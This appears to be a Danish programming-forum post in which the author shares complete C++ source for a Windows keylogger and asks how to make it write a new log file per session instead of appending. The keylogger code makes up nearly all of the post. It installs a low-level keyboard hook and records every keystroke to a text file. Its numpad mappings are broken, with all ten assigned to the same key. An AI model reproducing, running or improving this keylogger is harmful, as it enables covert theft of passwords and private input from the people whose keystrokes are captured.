Hej Udviklere.
Jeg her det her program:
#define _WIN32_WINNT 0x0500
#include <iostream>
#include <fstream>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
#include <map>
#include <string>
HHOOK KeyboardHook;
std::map<DWORD, std::string>MyTextMap;
LRESULT LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode==HC_ACTION) && (wParam==WM_KEYDOWN))
{
KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;
std::ofstream outfile;
outfile.open ("Qbit.txt", std::ofstream::out | std::ofstream::app);
std::map<DWORD, std::string>::const_iterator it = MyTextMap.find(HookStruct->vkCode);
if(it != MyTextMap.end())
{
outfile << it->second;
}
else if(HookStruct->vkCode >= 0x20 && HookStruct->vkCode < 0x80)
{
outfile << (char)HookStruct->vkCode;
}
else
{
outfile << "[" << HookStruct->vkCode << "]";
}
outfile.close();
}
return CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,LPSTR lpCmdLine,INT nCmdShow)
{
MyTextMap[VK_F1] = "{F1}";
MyTextMap[VK_F2] = "{F2}";
MyTextMap[VK_F3] = "{F3}";
MyTextMap[VK_F4] = "{F4}";
MyTextMap[VK_F5] = "{F5}";
MyTextMap[VK_F6] = "{F6}";
MyTextMap[VK_F7] = "{F7}";
MyTextMap[VK_F8] = "{F8}";
MyTextMap[VK_F9] = "{F9}";
MyTextMap[VK_F10] = "{F10}";
MyTextMap[VK_F11] = "{F11}";
MyTextMap[VK_F12] = "{F12}";
MyTextMap[VK_RETURN] = "{Enter}";
MyTextMap[VK_TAB] = "{Tab}";
MyTextMap[VK_BACK] = "{Backspace}";
MyTextMap[VK_SHIFT] = "{Shift}";
MyTextMap[VK_CAPITAL] = "{Caps Lock}";
MyTextMap[VK_NUMPAD0] = "0";
MyTextMap[VK_NUMPAD0] = "1";
MyTextMap[VK_NUMPAD0] = "2";
MyTextMap[VK_NUMPAD0] = "3";
MyTextMap[VK_NUMPAD0] = "4";
MyTextMap[VK_NUMPAD0] = "5";
MyTextMap[VK_NUMPAD0] = "6";
MyTextMap[VK_NUMPAD0] = "7";
MyTextMap[VK_NUMPAD0] = "8";
MyTextMap[VK_NUMPAD0] = "9";
KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC )LowLevelKeyboardProc, GetModuleHandle(0), 0);
if(!KeyboardHook)
MessageBox(0, "Hook fejlede", "Keylogger", MB_OK);
MSG msg;
while(GetMessage(&msg, 0, 0, 0xFFFF))
{}
return EXIT_SUCCESS;
}
men når den stoppes fx. 1 gang gemmer den det som den skal men gør jeg det igen tilføje den det bare til filen og det er ikke meningen det skal lave flere filer hver gang man trykker på pil ned.
Hvordan kan dette problem løses?
Tak på forhånd